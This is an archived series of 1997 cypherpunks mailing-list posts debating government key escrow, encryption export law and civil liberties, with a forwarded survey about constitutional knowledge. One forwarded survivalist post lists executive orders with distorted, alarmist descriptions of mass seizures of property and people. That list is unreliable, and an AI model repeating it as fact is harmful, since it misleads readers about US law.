> > of due process of law, for recovery of encrypted information
>
> Feinstein is obviously not a Constitutional scholar here.
> Where in the constitution does it say that law enforcement
> must be GUARANTEED the means to eavesdrop in ANY
> circumstance?  This sort of "make it up as it is convenient"
> attitude is why many people have long questioned her ability
> to genuinely protect civil rights.
>
> > Q: The National Research Council ... concluded that ... [the
> > risk of] ... unlimited encryption was outweighed by the
> > positive aspects of unlimited encryption, because that
> > provides the best opportunity for government, corporate
> > and individual computer users to protect themselves from
> > computer crime.
>
> > A: ... encryption ... already is being used in some of the
> > most serious crimes. ... Law enforcement officials must
> > maintain the ability to pierce encrypted communications in
> > these kinds of criminal operations.
>
> This is another dodge of the real question: Most of the
> members of the NRC panel ALSO got the classified briefing.
> These are the technical and policy experts (that's why they
> are on the panel in the first place).  What makes Feinstein
> think she is so much smarter than these experts, despite her
> claims of ignorance on the matter?
>
> Let's be realistic:
>
> 1.  Feinstein has a very warped view of the Bill of Rights
> because she has been the target of, among other things, a
> letter bomb.  She is running scared, and will demand nothing
> short of a crack down from law enforcement, so we cannot
> expect her to side with anyone AGAINST the wishes of law
> enforcement.  (Just look at her stance on the issue of
> freedom of speech on the Internet.)
>
> 2.  Feinstein has clearly stated in previous senate hearings
> that she is ignorant on this matter, and that she will
> definitely defer judgement to the law enforcement agencies.
> Well, she has once again proven her ignorance, but at least
> she's admitted it in the past.  The trouble is that she goes
> on to take significant policy positions on the matter
> anyway.  Why speak up so strongly on a topic where she's so
> clueless?
>
> 3.  Feinstein, like many politicians, does not want to deal
> with the details of issues because it would mean that she
> would have to make some very TOUGH questions and decisions.
> The high tech industry is absolutely against encryption
> regulations, so she is in a tight spot.  No wonder, in that
> same senate hearing, she left the room before her
> constituents showed up to testify.
>
> It's difficult to force a coward face reality and answer to
> real world concerns, and let us keep in mind that the FBI
> and the NSA have insisted on secret meetings rather than
> open discussions on this issue.  They simply do NOT want to
> have to face open scrutiny.  No matter how big a favor they
> THINK they are doing for us, they must be reminded that this
> is an open and democratic society, and that they may not
> choose to have a secret meeting just because they cannot win
> in open debate.
>
> ----
>
> Ernest Hua, Software Sanitation Engineer
> Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
> Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 16 Sep 1997 03:01:26 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: cypherpunks-e test
Message-ID: <199709151901.OAA01319@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

This is a test of the link betwee cypherpunks-e@hpt.org and ssz.com.

Please don't reply unless you are on the cypherpunks-e list.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 16 Sep 1997 05:52:29 +0800
To: cypherpunks@toad.com
Subject: Americans flunk constitutional quiz (fwd)
Message-ID: <Pine.GSO.3.95.970915142531.8586K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 15 Sep 1997 13:57:45 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Americans flunk constitutional quiz


WASHINGTON (AP) - Pop quiz: How many U.S. senators are there?
	One in two Americans do not know the answer is 100, according to a
survey on the U.S. Constitution released Monday. And two in five don't
know there are three branches of government, let alone what they are.
	Mayor Edward G. Rendell of Philadelphia, where the Constitution
was signed 210 years ago this Wednesday, said the results were
disappointing.
	"That shows an appalling lack of knowledge for a document that
determines what we do," said Rendell, chairman of the National
Constitution Center, created by Congress in 1988 to increase awareness of
the document. "Every day, issues important and central to us as people and
government are affected by the Constitution."

[...]

	Ten basic questions about the Constitution:
	1. When was the Constitution written?
	2. Where was the Constitution written?
	3. What are the first 10 amendments to the Constitution called?
	4. Do you recall what the introduction of the Constitution is
           called?
	5. How many branches of the federal government are there?
	6. How many senators are there in the U.S. Congress?
	7. How many years are there in a Senate term?
	8. How many voting members are there in the House of
           Representatives?
	9. How many years are there in a representative's term?
	10. Who nominates the justices of the Supreme Court?

	Answers (and percentage of correct responses): 1. 1787 (19
percent); 2. Philadelphia (61 percent); 3. the Bill of Rights (66
percent); 4. the Preamble (55 percent); 5. three (58 percent); 6. 100 (48
percent); 7. six years (43 percent); 8. 435 (23 percent); 9. two years (45
percent); 10. the president (70 percent). 

	Source: National Constitution Center.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dwight Arthur <dwightarthur@mindspring.com>
Date: Tue, 16 Sep 1997 03:30:11 +0800
To: Tim Barber <barber@ccrwest.org>
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <Pine.SUN.3.96.970915095517.18668B-100000@grazia.ccrwest.org>
Message-ID: <341D9590.1B055ECF@mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Barber wrote:
> Regarding the struggle in general for free crypto, have faith that
> spin
> control should always work in our favor.  Even if the entire
> government
> remains opposed crypto, the press should still be on our side.

Remember during Desert Storm, Saturday Night Live had a sketch
lampooning reporters for pressing the military for information that
would have been helpful to the enemy? And remember how right after that
the press briefings tightened up a lot? And months later someone
mentioned that the SNL skit gave them the courage to do it?

The press is on the side of whomever is most likely to deliver the scoop
that will elevate next week's ratings. If you can deliver a steady
stream of story ideas involving sex, celebrities, and paranoia, the
press will spin anything you want.

-Dwight





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 16 Sep 1997 03:45:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Federal motivation
Message-ID: <94538490e039e66d8136d3f6021257ef@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Martin Minow wrote:
>Anonymous, signing as Monty Cantsin, Editor in Chief of Smile Magazine
>quotes my Cypherpunks summary's quote of Eric Hughes:
>>Martin Minow wrote:
>>> EH: Why do the Fed's want access to plaintext? The motivation has
>>> not been made clear. Policy goals are stated in technological terms,
>>> not in policy terms.
>>
>>Perhaps we can elaborate on this.  Judging from their actions, what
>>they want is a full blown police state.  They've seen the product, now
>>they want one of their own.  This is obvious to everybody on this
>>list, but sometimes people are coy about it, probably in an effort to
>>appear to be "legitimate".
>
>Sorry, it isn't obvious to me. The most paranoid I can work myself
>up to is to assume that some (not all) of our leaders want to restore
>their half-remembered 1950's Dick-and-Jane, big car, Eisenhauer suburbian
>childhood; and are afraid that letting absolute privacy loose will
>be the end-of-civilization-as-we-know-it.

The discussion is encryption, not absolute privacy.  It will still be
possible to inexpensively bug homes, offices, computers, etc.

Mass surveillance is only required for a police state, not to protect
the suburbs, not to protect children, not to catch real criminals.

So, when a secret police agency wants to set up a mass surveillance
system, what is the likely motivation for their action?

>This parallels the battles that were waged in the early 1960's, as
>the civil rights movement (and the Pill) shattered the myth of
>suburbia. The police and FBI felt, quite sincerely, that they were in
>the midst of a revolution and had to take "necessary measures" to
>save America.

What concerns me is what they will do, not their mental state when
they are doing it.  Even torturers believe they are doing the right
thing.  So what?

BTW, institutional loyalty does not require every member of the armed
services or secret police agencies to be fully cognizant of what they
are doing.  They just have to buy into the plan.  The leaders probably
don't believe in Santa Claus, though.

>The new cryptography makes the Internet safe for child pornographers,
>for revolutionaries, for criminals, as well as for human rights
>workers, for religious missionaries in unfriendly countries, and
>multinational corporations.

Yeah, last I checked, books were still safe, too.

>The message I read from the attempt to criminalize strong
>cryptography is that the risk of damage from the pornographers (etc.)
>is so great that we must restrict cryptography and trust the national
>leadership to respect the rights of the good guys. Unfortunately, one
>country's human rights worker is another country's dangerous
>revolutionary.

You would benefit from a study of the activities of the Federal
government over the last sixty years.  Pay particular attention to the
seedy political activities of the FBI and don't forget to cover CIA
assassination and torture programs.  Then come back and tell us
whether you still think they really care about children or whether
this is just a reason given to cover their actual activities.  (And
please explain why organizations which traditionally are not involved
with protecting children suddenly find it in their charter when mass
surveillance is on the table.)

For that matter, study the history of communications systems.  Why do
you suppose it is that governments have traditionally taken control of
postal systems?  Do you suppose it could have anything to do with
control?

Bill Frantz wrote:
>At 6:54 PM -0700 9/14/97, Martin Minow wrote:
>>Remember, the Martin Luther King who was thrown in jail in Alabama
>>in the early 1960's was the same Martin Luther Kings who received
>>the Nobel Peace Prize a few years later, and who was killed for
>>his revolutionary activities just a few years after that. Whether
>>he was a hero or villian depends on who writes the history book
>>and it is, ultimately, our responsibility to make sure that many,
>>conflicting, history books can be written.
>
>Most particularly remember that the director-for-life of the FBI used
>telephone intercepts in an attempt to get this Martin Luther King to commit
>suicide.

Good example.  This is one of many well documented examples of FBI
misbehavior throughout its entire history and even its pre-history.
(Hoover was involved with the Palmer Raids following World War I when
hundreds of people were arrested and thrown into makeshift prisons
without trials.  Some were kept there for years.)

In the case of MLK, his father and his grandfather were under
surveillance by the Federal Government since about WWI.  What crime
was being investigated?  None.  They weren't well liked in official
circles.

Thomas Junker wrote:
>This stuff is serious. This pattern is not new -- it is just new
>*here*, a development of the last 20 years. Similar slippery slopes
>have been traveled in other countries, in other times. These times
>are getting way too interesting for comfort.

You're on the right track, but the FBI has been a menace to the United
States since its inception.  Now, however, people are willing to let
them get away with more and some truly scary technologies exist.  And,
they are making their play.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 16 Sep 1997 07:11:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Attacking GAK--team effort assembling
In-Reply-To: <01INOMKZ4GZ8APTBV8@DGN0IG.mcimail.com>
Message-ID: <v03102800b04369567696@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I spoke to the dangers of this kind of effort at our meeting on Saturday.
After some excerpts, I'll explain just why I think this kind of "help" is
so dangerous.


At 12:59 PM -0700 9/15/97, Michael Wilson wrote:
>Given that the U.S. and E.U. governments seem to be moving toward a
>policy of key escrow/recovery, 7Pillars Partners is starting a team
>effort to demonstrate the practical problems in implementing such a
>system.  The plan is to have the team block out the probable design
>of the infrastructure, with as many of the options available outlined
>and discussed (e.g., 'escrow' itself--will a copy of the secret key
>need to be sent to the escrow agent, will it be created by the agent
>and assigned to the device, will the method be the use of two receiver
>keys (one packet to the intended party, one to the escrow agent), will
>the method be to implement a 'back door' into the cryptosystem itself),
>and then a thorough expansion on all possible methods of attack on the
>various elements of the infrastructure (denial, flooding, espionage,
>etc.).

First, it is very unlikely that finding theoretical weaknesses in a
confabulated scenario will be at all convincing to the supporters of GAK.
For several reasons. Theoretical "what if" scenarios tend not be be
convincing to anyone, and are easily dismissed.

Second, in contrast to the Clipper/Tessera thing, which was pretty
exhaustively mapped out (with the LEAF stuff, the Mykotronx implementation,
the plans for a mechanism to release keys, etc.), the latest GAK plan is
vague and insubstantial. Essentially nothing has come out on how it might
work. This makes speculation about weaknesses almost pointless.

Third, the *danger* is that industry and consultants will work so hard to
find flaws that they essentially _do some of the work_ in helping to build
a semi-viable GAK system!

One is reminded of the joke about the engineer being guillotined. The blade
won't fall. So the engineer looks up, thinks a moment, and says "I think I
see the problem...."

>The intent of this project is two-fold: it will provide a practical
>guide that I hope will demonstrate that any key escrow/recovery system
>and infrastructure, no matter how secure/safe, will fall to attack; if
>such a system does end up being implemented and come into operation,
>the analysis will serve as a first-approximation guide for resistance.

You're assuming what you're trying to prove. This does not bode well for
your "study" being taken seriously by GAK supporters. If I were Louis Freeh
or Diane Feinstein, I'd merely point to these words.

And GAK might actually work. This would still not be a reason to support
it, just as a "ban on typewriters" actually most worked (in terms of State
objectives) in the U.S.S.R., and just as a ban on Internet access in China
is even now "working."

The attack on GAK should mostly be on civil liberties grounds, and only
secondarily on risks (to commerce, to privacy, to national security). And
then only tertiarily on how efficient and workable it is.


>We could use a solid outside cryptographer, as well as an attorney
>to work through the probable legal elements involved in the system.
>
>Interest in being on the team should be indicated to:
>Michael Wilson, 5514706@mcimail.com or partners@7pillars.com

Well, a meta-issue is that the several communities already critiquing
facets of this plan (such as Cypherpunks, Cyberia-l, Fight Censorship, CDT,
Americans for a Secure Tomorrow, EPIC, Privacy International, the ACLU,
etc.) are likelier to come up with far more attacks, criticisms, etc., than
is a small effort like "7 Pillars" could possibly mount.

Granted, the set of comments already rolling in, and expected over the next
year, from these groups is "informal." But there is no "formal" GAK system
in place. We don't have the foggiest if the GAK is to involve something so
simple as requiring spare keys be escrowed, or some variant of the LEAF
thing, or some multiparty key sharing strategy, or even aptical foddering
of the keys. We just don't know.

I'm not trying to undermine the efforts of "7 Pillars." I just don't see
the point, and I see some serious dangers if such an effort helped the
government to shape a more "efficient" approach!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@MCIMAIL.COM>
Date: Tue, 16 Sep 1997 04:19:44 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Attacking GAK--team effort assembling
Message-ID: <01INOMKZ4GZ8APTBV8@DGN0IG.mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain



Given that the U.S. and E.U. governments seem to be moving toward a
policy of key escrow/recovery, 7Pillars Partners is starting a team
effort to demonstrate the practical problems in implementing such a
system.  The plan is to have the team block out the probable design
of the infrastructure, with as many of the options available outlined
and discussed (e.g., 'escrow' itself--will a copy of the secret key
need to be sent to the escrow agent, will it be created by the agent
and assigned to the device, will the method be the use of two receiver
keys (one packet to the intended party, one to the escrow agent), will
the method be to implement a 'back door' into the cryptosystem itself),
and then a thorough expansion on all possible methods of attack on the
various elements of the infrastructure (denial, flooding, espionage,
etc.).

The intent of this project is two-fold: it will provide a practical
guide that I hope will demonstrate that any key escrow/recovery system
and infrastructure, no matter how secure/safe, will fall to attack; if
such a system does end up being implemented and come into operation,
the analysis will serve as a first-approximation guide for resistance.

We could use a solid outside cryptographer, as well as an attorney
to work through the probable legal elements involved in the system.

Interest in being on the team should be indicated to:
Michael Wilson, 5514706@mcimail.com or partners@7pillars.com

MW
http://www.7pillars.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@n-o--s-p-a-m.ssds.com>
Date: Tue, 16 Sep 1997 06:22:25 +0800
To: declan@well.com>
Subject: Re: Americans flunk constitutional quiz (fwd)
In-Reply-To: <Pine.GSO.3.95.970915142531.8586K-100000@well.com>
Message-ID: <199709152202.QAA27199@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




> WASHINGTON (AP) - Pop quiz: How many U.S. senators are there?
> 	One in two Americans do not know the answer is 100, according to a
> survey on the U.S. Constitution released Monday.

Well, that's pretty sad.  Unfortunately very few of these questions 
had anything to do with the ideas behind the details?  You can ask
as many "how many congressional paiges fit on the head of a 
xxxahemxxx pin" questions, but how many can answer more important
questions.  In the spirit of test competition I humbly offer this 
competing quiz.

1.  Who were the federalists and the anti-federalists?
2.  What was the difference?
3.  What are the reasons for each of rights enumerated by the Bill of 
Rights?
4.  What are the rights of the government?  Does it have any?
5.  What is the difference between rights and powers?
6.  What is more powerful, a sitting jury or the Supreme Court?
7.  Is the second clause of the second amendment depedent or not?  
8.  What is the meaning of the ninth and tenth amendments?
9.  What happenend to the constitution in 1938?
10. What is meant by the "welfare clause" of the constitution?  Show 
supporting evidence by quoting at least one founding father.
11. Who said "This country was founded with a pretty radical 
constitution, with radical freedoms.  When people abuse those 
freedoms you have to move to limit them."?
12.  What was the main argument against a bill of rights?
13.  What major document, which is signed yearly by most adult 
Americans is a direct violation of the fifth amendment?
14.  What is meant by freedom of assembly?
15.  What does the phrase "shall not be infringed" mean?
16.  What is meant by "a militia" in the second amendment?
17.  What is meant by "well-regulated" in the second amendment?
18.  What is meant by "free state" in the second amendment?    
19.  Which federal agencies are not specified in the constitution?
20.  And finally a real trivia question, kids.  What kind of 
paper was the Declaration of Independence and Constitution 
printed on?


Please feel free to add on any other questions before we set up 
the CypherPunks Constitutional Quiz Website.  ;-)

Regards,

Jim Burnes
 
Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
When the world is running down
Make the best of what's still around
                   - Sting





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 16 Sep 1997 07:45:06 +0800
To: cryptography@c2.net
Subject: National Security Committee amendments to SAFE
Message-ID: <3.0.3.32.19970915161036.00b98760@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




Got a fax from Dellums' office this afternoon (finally!) with the
amendments from the National Security committee to SAFE - this will be on
the web at <http://www.parrhesia.com/safe-dellums.html>. 

---

AMENDMENTS TO H.R. 695
OFFERED BY MR. WELDON AND MR. DELLUMS

Strike Section 3 and insert the following:

SEC 3. EXPORTS OF ENCRYPTION.
	(a) EXPORT CONTROL OF ENCRYPTION PRODUCTS NOT CONTROLLED ON THE UNITED
STATES MUNITIONS LIST. - The Secretary of Commerce, with the concurrence of
the Secretary of Defense, shall have the authority to control the export of
encryption products not controlled on the United States Munitions List.
Decisions made by the Secretary of Commerce with the concurrence of the
Secretary of Defense with respect to exports of encryption products under
this section shall not be subject to judicial review.

	(b) LICENSE EXCEPTION FOR CERTAIN ENCRYPTION PRODUCTS - Encryption
products with encryption strength equal to or less than the level
identified in subsection (d) shall be eligible for export under a license
exception after a 1-time review, if the encryption product being exported
does not include features that would otherwise require licensing under
applicable regulations, is not destined for countries, end-users, or
end-uses that the Secretary of Commerce has determined by regulation, with
the concurrence of the Secretary of Defense, are ineligible to receive such
products, and is otherwise qualified for export.

	(c) ONE-TIME PRODUCT REVIEW - The Secretary of Commerce, with the
concurrence of the Secretary of Defense, shall specify the information that
must be submitted for the 1-time review referred to in subsection (b).

	(d) ELIGIBLE ENCRYPTION LEVELS -

		(1) INITIAL ELIGIBILITY LEVEL. - Not later than 30 days after the date of
the enactment of this Act, the President shall notify the Congress of the
maximum level of encryption strength that could be exported from the United
States under license exception pursuant to this section without harm to the
national security of the United States. Such level shall not become
effective until 60 days after such notification.

		(2) ANNUAL REVIEW OF ELIGIBILITY LEVEL - Not later than 1 year after
notifying the Congress of the maximum level of encryption strength under
paragraph (1), and annually thereafter, the President shall notify the
Congress of the maximum level of encryption strength that could be exported
from the United States under license exception pursuant to this section
without harm to the national security of the United States. Such level
shall not become effective until 60 days after such notification.

		(3) CALCULATION OF 60-DAY PERIOD. - The 60-day period referred to in
paragraphs (1) and (2) shall be computed by excluding -

			(A) the days on which either House is not in session because of an
adjournment of more than 3 days to a day certain or an adjournment of the
Congress sine die; and

			(B) each Saturday and Sunday, not excluded under subparagraph (A), when
either House is not in session.

	(e) EXERCISE OF EXISTING AUTHORITIES. - The Secretary of Commerce and the
Secretary of Defense may exercise the authorities they have under other
provisions of law to carry out this section.



Amend the title so as to read "A bill to amend title 18, United States
Code, to affirm the rights of United States persons to use and sell
encryption."

[Note - title 18 is the criminal section of the US Code. SAFE's original
title was "To amend title 18, United States Code, to affirm the rights of
United States persons to use and sell encryption and to relax export
controls on encryption."]



--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Tue, 16 Sep 1997 07:45:09 +0800
To: cypherpunks@Algebra.COM
Subject: Federal Emergencies, Martial Law, etc.
Message-ID: <199709152335.QAA13927@always.got.net>
MIME-Version: 1.0
Content-Type: text/plain





I ran across this short summary of various national emergency orders. A
useful reminder that the government views us as cogs in the machine, to be
used as necessary. And that private property may be seized at will. 

So much for the actual Constitution. (Declan cited a poll showing
ignorance of the Constitution. I would have flunked, too. E.g., "What do
you call the first 10 amendments to the Constitution?" My answer: "You
call them "null and void."")

Search engines will turn up the full versions of each of these orders.
Some are part of the Continuing Economic Emergency (tm), either the one
declared in 1971 by Nixon, or the one declared by Johnson or Kennedy or
Eisenhower. Or perhaps the one declared by Roosevelt (when banks were
shut, when gold was declared contraband, and so on). Or maybe the one
declared 135 years ago by Lincoln. Or maybe the emergency declared during
the Whiskey Rebellion. And so it goes.


--Tim


> From: mrostov <mrostov@doitnow.com>
> Newsgroups: misc.survivalism
> Subject: Re: DEFINITION OF MARSHALL LAW ?
> Date: Mon, 15 Sep 1997 03:24:01 -0700

> 
> FEDERAL EXECUTIVE ORDERS
> 
> 10995    Seizure of all print and electronic media in the United States
> 
> 10997    Seizure of all electric power, fuels, and minerals, public and
> private.
> 
> 10998    Seizure of all food supplies and resources, public and private,
> including farms and equipment.
> 
> 10999    Seizure of all means of transportation, including cars, trucks or
> any other vehicles, including control over highways, harbors, and
> waterways.
> 
> 11000    Seizure of all American people for work forces under federal
> supervision; it allows the government to split up families if they
> believe that it is necessary.
> 
> 11001    Seizure of all health, education, and welfare facilities, public
> and private.
> 
> 11002    Registration by the Postmaster General of all men, women, and
> children for government service.
> 
> 11003    Seizure of all airports and aircraft.
> 
> 11004    Seizure of all housing and finance authorities; authority to
> establish forced relocation, designate areas that must be abandoned as
> 'unsafe'. Establishment of new locations for population groups, building
> of new housing on public land.
> 
> 11005    Seizure of all railroads, inland waterways, and storage
> warehouses, public and private.
> 
> 11051    Authorize the Office of Emergency Planning to put the above
> orders into effect in times of increased international tension or
> financial crisis.
> 
> 
> Rostov

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Tue, 16 Sep 1997 08:11:24 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:Let sleeping dogs lay
Message-ID: <199709152352.QAA19543@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:04 PM 9/11/97 -0700, Tim May wrote:
> Nothing good can come out of crypto legislation.

If it had not been for SAFE, now unSafe, we would be facing
this crisis a bit later, when we will have more money, more 
power and more crypto deployed.

There is no legislation like NO legislation.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 16 Sep 1997 07:36:08 +0800
To: cypherpunks@toad.com
Subject: The NetBuyer Basement is Open!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.14775.09151997153904.80739@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 16 Sep 1997 07:23:39 +0800
To: cypherpunks@toad.com
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <199709151709.KAA05123@gabber.c2.net>
Message-ID: <Fic4ce1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



sameer <sameer@c2.net> writes:

> > 
> > Writing the code is no longer enough.  The code must be usable by the
> > sheeple to work.  How do we do that?
> 
> 	Sell code.

Write obnoxious and threatening lawyer letters.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 16 Sep 1997 08:39:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The great GAK crack (making GAK economically impossible)
In-Reply-To: <v03110715b042cf58c0a2@[139.167.130.248]>
Message-ID: <v03102801b0438070e435@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:41 AM -0700 9/15/97, nospam-seesignature@ceddec.com wrote:
>If I have to GAK my keys, and there then exists a pgp-gak, then we simply
>recruit the same CPU power that generated the millions of DES keys to just
>run pgpk-gak with the shortest keylength and send billions of keys to the
>GAKserver each week.  Many from out of the US if pgp-gak becomes available
>there.
>
>My test software uses a loop that generates a new pair every few seconds
>on a pentium (and found some very obscure bugs).  I would be required to
>send all those to the gak.gov.  If they really want them...
>
>What it probably means is the govenrment will issue keys or have to
>license people to create them.

"There ain't no such thing as free escrow."

Some fee will be collected to register keys. "To defray costs" (never mind
that the government is the party _requiring_ the damned escrow!).

This will stop the "flooding attacks" which a free key escrow system would
generate. It will also, sadly for us, put an end to many applications where
keys are generated quickly, transiently, and on an ad hoc basis. There
simply will be no time to register the keys, and the $10 (or whatever)
processing fee will be unacceptable for these applications.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 16 Sep 1997 07:24:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Attacking GAK--team effort assembling
In-Reply-To: <v03102800b04369567696@[207.167.93.63]>
Message-ID: <199709152317.TAA15576@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800b04369567696@[207.167.93.63]>, on 09/15/97 
   at 03:55 PM, Tim May <tcmay@got.net> said:

>I'm not trying to undermine the efforts of "7 Pillars." I just don't see
>the point, and I see some serious dangers if such an effort helped the
>government to shape a more "efficient" approach!

I think that the most effective way to attack GAK is to get moles on the
inside of the corporations like IBM,HP,...ect who will no doubt be very
active in putting this together.

Once they have their systems up and running activiate the moles and
fire-up Blacknet. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNB21bo9Co1n+aLhhAQFY6gQAicfNYXgVQ+NNVfeQgIgftiG/9wNFCj0B
pLhcS3Qg0I/qFhyPod1XyUve//iGZkeWXbJVdbIQNO8r06EfzJMj27w58mxgFsuD
2Ek1IRZiQjPkB6F6AtaFFKwVMQzC3KyyJaOAP+ZL+nhhbEW2nCqt7pF10fSKOo/d
7eTWwFZGrvE=
=5bib
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 16 Sep 1997 07:32:42 +0800
To: cypherpunks@toad.com
Subject: Re: Americans flunk constitutional quiz (fwd)
In-Reply-To: <Pine.GSO.3.95.970915142531.8586K-100000@well.com>
Message-ID: <199709152318.TAA15597@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970915142531.8586K-100000@well.com>, on 09/15/97 
   at 02:25 PM, Declan McCullagh <declan@well.com> said:


>---------- Forwarded message ----------
>Date: Mon, 15 Sep 1997 13:57:45 -0700 (PDT)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship-announce@vorlon.mit.edu
>Subject: Americans flunk constitutional quiz


>WASHINGTON (AP) - Pop quiz: How many U.S. senators are there?
>	One in two Americans do not know the answer is 100, according to a
>survey on the U.S. Constitution released Monday. And two in five don't
>know there are three branches of government, let alone what they are.
>	Mayor Edward G. Rendell of Philadelphia, where the Constitution was
>signed 210 years ago this Wednesday, said the results were disappointing.
>	"That shows an appalling lack of knowledge for a document that
>determines what we do," said Rendell, chairman of the National
>Constitution Center, created by Congress in 1988 to increase awareness of
>the document. "Every day, issues important and central to us as people
>and government are affected by the Constitution."


This is quite understandable.

